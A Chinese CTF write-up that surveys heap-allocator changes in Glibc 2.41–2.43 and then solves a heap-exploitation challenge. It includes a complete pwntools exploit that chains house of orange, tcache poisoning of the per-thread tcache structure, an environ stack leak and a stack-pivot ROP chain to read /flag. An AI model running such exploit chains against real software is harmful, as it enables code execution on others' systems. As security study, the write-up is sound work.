每一次复现CCB的题总会学习到一些没接触过的知识,这次的题目涉及到的是高版本Glibc在引入了很多安全检查之后的利用手法
这道题所使用的Glibc版本是2.43的(Ubuntu 26.04所使用的Glibc),这个版本也会作为Ubuntu 26.04 LTS的Glibc版本,所以在未来一段时间应该也会是安全研究的一个主要方向,所以在开始复现题目之前要先简要的了解从Ubuntu 24.04 LTS(Glibc-2.39)后引入的一些更新。
在这里特别感谢@jiegec的师傅的许可,glibc 内存分配器 - 杰哥的知识库这篇文章对于ptmalloc的机制实现解释得特别详细,同时对于各版本Glibc更新也总结的十分好,笔者也是一边看这篇博客一边看源码学习的高版本Glibc对于ptmalloc的更改。

我们主要关心Glibc-2.39后的更新,2.39与2.40的malloc.c文件完全一致,而从2.41开始改动就比较大了。
Glibc2.41
首先,2.41封装了一系列函数用于tcache的判定,这也解决了在之前Glibc版本中散落在不同地方的tcache判定->取块/存块逻辑,可以通过这系列函数直接取/存(但是其中某些函数仅作为过渡,因为在Glibc2.42对tcache又进行了重构)。


图1、2:封装的判定逻辑

图3:可以看到,原本的tcache判定逻辑是散落 在各个地方的
同时,大概也是因为封装了这个函数后取块变得容易,calloc自2.41后也会默认使用tcache了。

同时也是因为封装了tcache的处理逻辑,free的对应逻辑也有修改,将原本的_int_free拆成了多个小函数来实现,执行逻辑和原本并无太大区别,唯一改动的是如今符合smallbin大小的堆块会直接进入smallbin而不是先进入unsortedbin,对于CTF来说,不能简单通过填满tcache来获得unsortedbin了

Glibc 2.40_int_free ├── 基础检查 ├── tcache 逻辑 ├── fastbin 逻辑 ├── normal merge │ └── _int_free_create_chunk │ └── 统一进入 unsorted bin └── mmap munmapGlibc 2.41_int_free ├── _int_free_check ├── tcache_free └── _int_free_chunk ├── fastbin ├── normal merge │ └── _int_free_create_chunk │ ├── large chunk -> unsorted bin │ └── small chunk -> smallbin └── mmap munmapGlibc 2.42
这个版本在tcache上动了大刀子,原有的counts数组被删除,转而变为num_slot数组,counts数组统计每个size的tcache块,而num_slot数组转而统计每个size的“可放入块”。(同时,tcache被分为tcache_smallbin{与原来的tcache逻辑一致}和tcache_largebin{新增机制},这个我们在后面展开)

进一步的,因为tcache_largebin的机制,所以tcache_get和tcache_put不再是简单的头插逻辑了

接下来是新增的tcache_largebin机制,它和largebin的机制是比较像的,维护了某个size段的链表,这便与传统的tcache有区别,传统的tcache只维护单个size的链表所以可以用简单的头插法实现,而加入largebin中必须允许向某个链表中段插入堆块,同时,因为next字段是经过safe-linking的,所以添加了一些检查和处理:
//在 large tcache bin 的链表里,找到第一个 chunk size >= nb 的位置。static __always_inline tcache_entry **tcache_location_large (size_t nb, size_t tc_idx, bool *mangled){ tcache_entry **tep = &(tcache->entries[tc_idx]); tcache_entry *te = *tep; while (te != NULL && __glibc_unlikely (chunksize (mem2chunk (te)) < nb)) { tep = & (te->next); te = REVEAL_PTR (te->next); *mangled = true; }
return tep;}
//将其按顺序插入某个tcache_largebin的链表中(不是简单头插!)static __always_inline voidtcache_put_large (mchunkptr chunk, size_t tc_idx){ tcache_entry **entry; bool mangled = false; entry = tcache_location_large (chunksize (chunk), tc_idx, &mangled);
return tcache_put_n (chunk, tc_idx, entry, mangled);}
static __always_inline void *tcache_get_large (size_t tc_idx, size_t nb){ tcache_entry **entry; bool mangled = false; entry = tcache_location_large (nb, tc_idx, &mangled);
if ((mangled && REVEAL_PTR (*entry) == NULL) || (!mangled && *entry == NULL)) return NULL;
return tcache_get_n (tc_idx, entry, mangled);}
static void tcache_init (void);
static __always_inline void *tcache_get_align (size_t nb, size_t alignment){ if (nb < mp_.tcache_max_bytes) { if (__glibc_unlikely (tcache == NULL)) { tcache_init (); return NULL; }
size_t tc_idx = csize2tidx (nb); if (__glibc_unlikely (tc_idx >= TCACHE_SMALL_BINS)) tc_idx = large_csize2tidx (nb);
/* The tcache itself isn't encoded, but the chain is. */ tcache_entry **tep = & tcache->entries[tc_idx]; tcache_entry *te = *tep; bool mangled = false; size_t csize;
while (te != NULL && ((csize = chunksize (mem2chunk (te))) < nb || (csize == nb && !PTR_IS_ALIGNED (te, alignment)))) { tep = & (te->next); te = REVEAL_PTR (te->next); mangled = true; }
if (te != NULL && csize == nb && PTR_IS_ALIGNED (te, alignment)) return tag_new_usable (tcache_get_n (tc_idx, tep, mangled)); } return NULL;}同时还由于加强了对于double free的检查,之前检查的是某单个size的链表,而现在会扫描所有size中的链表,意味着传统的free->change size->free将不能够通过检查:

同时,将malloc的流程进行拆分,分为了初始化tcache的__libc_malloc和不初始化tcache的__libc_malloc2,检查机制上没有什么独特的地方,反耳呢,值得注意的是,如今改为num_slot计数后 ,如果attack tcache_prethread_struct不需要再伪造counts数组中的计数,而只需要保证entries数组不为0即可

图不知道几:可以看到,在Glibc2.41中,tcache_available是检查了counts数组的

图不知道几:而在Glibc2.42中,除了常规检查外几乎没有安全检查
这使得我们对tcache_prethread_struct的攻击变得更轻易了。
而非常非常非常非常重要的一个更新是,现在补全了unsortedbin进入largebin的双向链表检查,这意味着几乎横跨了一个时代的largebin attack终究落下了帷幕…

还补全了针对fastbin的安全检查,但是不介绍了,因为马上它就g了
Glibc2.43
删除了所有有关于Fastbin的机制,是所有,从此之后再无fastbin。
Glibc2.43中规范了对于mmap_chunk的结构,同时增加了对于huge_page的支持,值得注意的是mmap_chunk的prev_size处存在一个hp_flag(huge_page),和prev_inuse_flag一样,它占用的也是0x1

同时因为huge_page的引入,更改了thp模式的一些源码,能看懂的部分就是现在由页向下对齐(扩充size)改为了页向上对齐(缩减size)(似乎不是很重要?不知道与sysmalloc会不会有关系)

“TCACHE is never NULL”,Glibc2.43给tcache设置了三个状态inactive->表示还没决定是否分配真正 tcache; disabled->表示 tcache 被禁用; 其他值->表示真正 live tcache

所以,这也带来一个巨大的改变,当首次malloc/calloc时不再初始化tcache!!而这对于CTF中堆利用可以说是一个利好,因为tcache_prethread_struct不再默认为slot_0_chunk了,这也就意味着堆溢出等漏洞可以进行tcache_prethread_struct的攻击了

而真正的tcache初始化如今交给了free

图不知道几:在__libc_free的末尾判断如果tcache处于inactive就进行初始化

所以流程就是:第一次 free: num_slots 为 0,放不进去 ->发现 inactive ->初始化真实 tcache ->重新 free
为什么没有在Glibc2.42展开讲tcache_largebin的get呢,因为在Glibc2.43中补充了nb要与chunksize相等的条件:

什么意思?举个例子,某个tcache_largebin链表中存放了0x500 -> 0x600 -> 0x800三个堆块,如果此时我malloc一个0x580的chunk
在Glibc2.42的情况下,tcache_location_large找到第一个>= 0x580 的 chunk:发现是0x600,然后会直接返回 0x600这个堆块。
而在Glibc2.43的情况下,tcache_location_large虽然同压根会找到0x600这个chunk,但是在tcache_get_large中不能通过nb != chunksize(te)的检查,因此会返回null。
换而言之,在Glibc2.42中,我们可能是可以拿到比我们所申请的size更大的tcache_largebin堆块的(未实际验证,仅从源码分析233),但是在Glibc2.43中不行,后续验证一下是不是这样的,如果是的话可能是一个出题素材)
剩下一些就是细枝末节的优化,对堆分配并无大影响
CreditMarket
本来这篇WP是想主要写我在这题调试过程中遇到的一些困难和阻碍的,但在前面对Glibc的更新总结后,发现这些阻碍主要都是因为对更新不了解所导致的…所以学堆看源码还是一个很重要的能力的!!那么接下来就简要写一写这道题的利用链和高版本的特性吧!
漏洞分析
其实这道题的逆向工程并不复杂,是一个很经典的增改查删程序

主要漏洞点也并不难找,而且可以说是很好利用的类型,一是edit时能造成0x40的堆溢出

同时因为未补0会导致show时能越界读

这道题的难点在于,对增改查删的次数做了限制,以及程序使用的是calloc(并非是因为不会从tcache中取块,由前文的更新我们可以得知,Glibc2.41后的calloc已经会从tcache取块了,真正有影响的其实是calloc会对内存清零)


通过逆向可以知道,程序的限制为:add、edit各限制8次,show限制3次,delete限制1次

所以我们必须思考的问题就是仅有一次的delete如何实现leak以及劫持执行流
所以本题的第一考点就呼之欲出了——通过house of orange,修改Top Chunk的size,并申请一个更大的chunk使得ptmalloc将Old Top走int_free_chunk的路径进入unsortedbin从而leak libc
可以看到,我们通过house of orange成功将Top Chunk放入unsortedbin中了


那么我们该如何泄露堆地址呢?我原本的打法尝试是通过calloc一个更大的堆块使得Old Top进入Largebin从而泄露堆地址,不过在尝试后发现这样会使得最后利用的calloc次数超过题目限制的8次,所以只能另寻他法,但在此之前我们要先思考一下这道题最后的劫持执行流如何实现。
高版本libc首选肯定是house of some(house of apple变体)打IO来劫持,但是这也是这道题最阴的地方,退出程序使用的是POSIX封装的系统调用_exit,打印用的全部是write,这使得我们没有办法让libc进入刷新IO流的路径。
那么留给我们的就只剩下通过泄露environ打return address来劫持程序控制流了(其实出题人给的三次show机会也暗示了我们应该要打environ,因为这道题没有显式能Leak PIE的办法),这也就意味着我们至少需要两次任意地址读写,第一次用来读environ,第二次用来打return address,但程序又限制了一次free,这意味着我们没办法通过打简单的tcache next来实现任意地址的读写,而tcache_prethread_struct给了我们这个机会,由上文的分析可知,我们只需要在对应的size中的entries数组写入我们想要申请地址的指针,在重构tcache后缺乏安全检查的情况下,我们就可以拿到无限次的任意地址申请,从而实现大于一次的任意地址读写,所以我们的思路就是先拿到一次任意地址读写,再向tcache_prethread_struct中写入&_environ拿到栈地址,再寻找合适的栈帧修改return address即可劫持程序的执行流。
所以我们要思考的问题就简化为了,当前条件如何获得一次任意地址写,那么这个时候就可以通过打tcache的next指针来实现了,同时,程序的堆溢出也十分适合,那么承接上文,我们该如何泄露堆地址呢?答案是重复利用这个仅有一次free进入tcache的chunk,先利用next指针还原并leak堆基址,再利用next指针向tcache_prethread_struct投毒
而由于程序对于add、edit的限制,我们必须布置好堆风水、orw链、以及”/flag”字符串,以免出现低效的add、edit利用
exp如下:
#!/usr/bin/env python3from pwn import * # type: ignore
context.terminal = ["wt.exe", "-w", "0", "split-pane", "bash", "-c"]file_name = "./shop"libc_position = "/root/glibc-all-in-one/libs/2.43-2ubuntu2_amd64/libc.so.6"remote_addr = ""remote_port = ""
e = ELF(f"{file_name}")context.binary = econtext.log_level = "debug" # error/debug
if args.REMOTE: p = remote(remote_addr, remote_port)elif args.GDB: gdbscript = """b *$rebase(0x12AB)""" p = gdb.debug(file_name, gdbscript=gdbscript)else: p = process(file_name)if libc_position != "": libc = ELF(f"{libc_position}")
sd = lambda a: p.send(a)sl = lambda a: p.sendline(a)rc = lambda a=4096: p.recv(a)rl = lambda: p.recvline()ru = lambda a: p.recvuntil(a)uu32 = lambda a: u32(a.ljust(4, b"\x00"))uu64 = lambda a: u64(a.ljust(8, b"\x00"))sh = lambda: p.interactive()slog = lambda name, addr: log.success(f"{name} ==> {hex(addr)}")
def debug(cmd=""): if not args.REMOTE: gdb.attach(p, cmd) pause()
def wait(): ru(b">")
def add(a, b): wait() sl(b"1") ru(b"ex:") sl(str(a).encode()) ru(b"ze:") sl(str(b).encode())
def edit(a, b): wait() sl(b"2") ru(b"ex:") sl(str(a).encode()) ru(b"nt:") sd(b)
def put(a): wait() sl(b"3") ru(b"ex:") sl(str(a).encode())
def dell(a): wait() sl(b"4") ru(b"ex:") sl(str(a).encode())
def safe(a, b): return b ^ (a >> 12)
add(4, 0x200)add(3, 0x28)dell(3)add(0, 0x38)edit(0, b"A" * 0x38 + p64(0xA81))add(1, 0xCE0) # house of orangeedit(0, b"A" * 0x40) # leak libcput(0)ru(b"A" * 0x40)libc_base = uu64(rc(6)) - 0x212AC8slog(b"libc", libc_base)
edit(4, b"a" * 0x210) # leak heap_baseput(4)ru(b"a" * 0x210)heap_base = uu64(rc(5)) << 12slog(b"heap", heap_base)
flag_addr = heap_base + 0x300pop_rdi = libc_base + 0x11BCFApop_rsi = libc_base + 0x5C2E7pop_rdx = libc_base + 0xE87BDopen_addr = libc_base + libc.sym["open"]read_addr = libc_base + libc.sym["read"]write_addr = libc_base + libc.sym["write"]orw = ( p64(0) + p64(libc_base + 0x0289FE) + p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(open_addr))orw += ( p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(heap_base + 0x20) + p64(pop_rdx) + p64(0x20) + p64(read_addr))orw += ( p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(heap_base + 0x20) + p64(pop_rdx) + p64(0x20) + p64(write_addr))
edit( 4, b"a" * 0x100 + orw + b"a" * (0x100 - len(orw)) + p64(0) + p64(0x31) + p64( safe( heap_base + 0x210, # 当前tcache块地址 0x2F0 + heap_base, # tcache_prethread_struct中entries数组地址 ) ),)add(5, 0x20)add(6, 0x20)edit(6, p64(libc_base + libc.sym["_environ"] - 0x38)) # leak environadd(7, 0x20)edit(7, b"a" * 0x38)put(7)ru(b"a" * 0x38)stack = uu64(rc(6))slog("stack", stack)ret_addr = stack - 0x218 - 0x30slog("return", ret_addr)edit(6, p64(ret_addr) + p64(0) + b"/flag\x00\x00\x00")add(2, 0x20)edit( 2, p64(heap_base + 0x110) + p64(libc_base + 0x29BB0), # leave;ret)sh()针对exp中几个点做解释,都是我在调试时所踩的坑
1:为什么泄露environ时申请的是_environ-0x38的位置,首先是因为calloc会清零内存,所以我们必须将堆放在更前方不会污染到environ的地方,同时要满足malloc_address的16字节对齐,所以是-0x38
2:为什么采用栈迁移将orw链写到堆中,而不是申请一个大tcache堆块直接向return address写入orw链,原因如上,calloc会清零内存,而该程序的增改查删函数栈帧都大致相同,如果使用大size很容易在add时就炸栈导致程序崩溃,所以我们应该最小size,使得栈上清零的部分尽可能少,再通过栈迁移将执行流劫持到栈上
3:这个ret_addr有什么讲究吗?有的兄弟,有的,根据2我们知道,如果随意在栈上选择一块地方calloc极易在add时就炸栈,所以我们最好选择一个add时不会用到的栈地址,同时它是edit时会用到的栈地址,这样我们在最后一次edit写入栈迁移gadget的时候就能够直接在edit中劫持,而这个目标就是edit中__libc_read中调用SYSCALL_CANCEL的栈帧

通过调试发现add的栈帧并不会增长到0x7ffc2fe0cca0(某次ASLR的结果)以下,所以我们篡改Saved RBP为我们所写入的orw链-0x8的位置,再将return address改为leave;ret的gadget,通过栈迁移我们就可以实现劫持函数执行流的结果。
PS.其实调这道题的堆风水和利用链调了将近一个通宵,很多坑其实如果先学习高版本Glibc源码就能避开的,WP是看不出调试的艰辛的…
最后就是愉快的拿到flag!
